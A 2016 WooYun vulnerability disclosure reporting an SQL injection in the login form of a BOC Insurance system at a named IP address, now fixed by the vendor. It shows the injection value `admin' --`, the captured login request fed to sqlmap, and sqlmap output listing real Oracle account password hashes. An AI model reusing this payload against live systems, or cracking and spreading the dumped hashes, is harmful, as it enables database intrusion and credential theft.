当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0182953

漏洞标题：中银保险某系统一处SQL注入漏洞(DBA权限26库)

相关厂商：中银保险有限公司

漏洞作者： 暴走

提交时间：2016-03-10 17:17

修复时间：2016-03-16 11:29

公开时间：2016-03-16 11:29

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-10： 细节已通知厂商并且等待厂商处理中
2016-03-11： 厂商已经确认，细节仅向厂商公开
2016-03-16： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

点到为止吧，第三方软件不可靠啊。

详细说明：

今天在首页浏览漏洞，发现了公开了“ WooYun: 中银保险车险某系统后台弱口令导致Getshell（涉及车险信息） ”漏洞，于是就看了下，发现该漏洞描存在的情况已经不存在了，提交到公开就3天，处理速度还蛮快的..

漏洞证明：

于是就继续测试了下：http://219.143.241.24:8001/aqqx/

1.png


试了下弱密码之类的没试出来，就知道用户名是admin，该系统用户名输入正确，密码输入错误时，提示“密码错误”，算是个小问题吧，系统也没验证码，可尝试暴力破解。

2.png


由于我的网速不给力就放弃了，可是发现了登录用户名username存在注入。
用户名输入：admin' --
密码随意

3.png


点击登录后，系统没报错，而是跳转到如下页面：

4.png


于是对登录进行抓包，使用SQLMAP测试下username

POST /aqqx/LoginServlet HTTP/1.1
Host: 219.143.241.24:8001
Proxy-Connection: keep-alive
Content-Length: 32
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://219.143.241.24:8001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://219.143.241.24:8001/aqqx/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=71MCWgLN5YVcd2C8TKV1vctpbRf2FjwHQmkGjmGFLzzHBDD772Cg!-1792212123
username=admin&password=11111111


测试结果如下：

5.png


dba权限的

6.png


基于时间的盲注跑数据太慢了，就点到位为止吧：
26库：

7.png


current-db：

8.png


current-user --password：

web application technology: Servlet 2.4, JSP, JSP 2.0
back-end DBMS: Oracle
current user:    'AQQX_BD'
database management system users password hashes:
[*] ANONYMOUS [1]:
    password hash: anonymous
[*] AQQX_BD [1]:
    password hash: 5A9828B458AEF00D
[*] AQQX_CS [1]:
    password hash: A79F29192DF10DA1
[*] CTXSYS [1]:
    password hash: 71E687F036AD56E5
[*] DBSNMP [1]:
    password hash: FFF45BB2C0C327EC
[*] DIP [1]:
    password hash: CE4A36B8E06CA59C
[*] DMSYS [1]:
    password hash: BFBA5A553FD9E28A
[*] EXFSYS [1]:
    password hash: 66F4EF5650C20355
[*] FOGLIGHT [1]:
    password hash: 16CE1767CEAE6835
[*] JYQUERY [1]:
    password hash: DD08F28B8108C411
[*] MDDATA [1]:
    password hash: DF02A496267DEE66
[*] MDSYS [1]:
    password hash: 72979A94BAD2AF80
[*] MGMT_VIEW [1]:
    password hash: ACC69AC5E5C7872C
[*] OLAPSYS [1]:
    password hash: 3FB8EF9DB538647C
[*] ORDPLUGINS [1]:
    password hash: 88A2B2C183431F00
[*] ORDSYS [1]:
    password hash: 7EFA02EC7EA6B86F
[*] OUTLN [1]:
    password hash: 4A3BA55E08595C81
[*] PJBJ_BD [1]:
    password hash: 70A26E4027F00ABC
[*] PJBJ_CS [1]:
    password hash: 74FFFD9EF5E8D3D1
[*] pjbj_j y_2 [1]:
    password hash: FC34EA976A65473E
[*] PJBJ_JY [1]:
    password hash: 083AA3AFB062C335
[*] PJBJ_JY2 [1]:
    password hash: 462CDA5C451BB9FE
[*] PJBJ_JY_1 [1]:
    password hash: 253C932F57789AF1
[*] PJBJ_KF [1]:
    password hash: 91D956975D9D528F
[*] PJBJ_QY [1]:
    password hash: 8FA2BDED924141F5
[*] PJBJ_YS [1]:
    password hash: 26F301A33A63075F
[*] SCOTT [1]:
    password hash: F894844C34402B67
[*] SI_INFORMTN_SCHEMA [1]:
    password hash: 84B8CBCA4D477FA3
[*] SYS [1]:
    password hash: 4B944C7BE803D6C8
[*] SYSMAN [1]:
    password hash: 1DEA5CF775BB128B
[*] SYSTEM [1]:
    password hash: 11560E4C486B25F8
[*] TSMSYS [1]:
    password hash: 3DF26A8B17D0F29F
[*] WMSYS [1]:
    password hash: 7C9BA362F8314299
[*] XDB [1]:
    password hash: 88D8364765FCE6AF
[*] ZHENGCHE [1]:
    password hash: FFA856E41B9397D0


当前数据库包含18表：

9.png


AQQX_CS数据库：

10.png


数据我就不给你们跑了。

修复方案：

能给个高分吗..

版权声明：转载请注明来源 暴走@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-03-11 08:27

厂商回复：

非常感谢，我们将尽快修复系统。

最新状态：

2016-03-16：已修复

漏洞评价：

评价

  1. 2016-03-10 19:54 | 中银保险有限公司(乌云厂商)

    非常感谢您，高手啊。给您一个小礼物，以表感谢。

  2. 2016-03-10 20:32 | 暴走 ( 普通白帽子 | Rank:546 漏洞数:98 | Wooyun的Rank获取如同Dota冲天梯有过之而无...)

    @中银保险有限公司 都是第三方的软件惹的祸啊，不过我很感兴趣是什么礼物...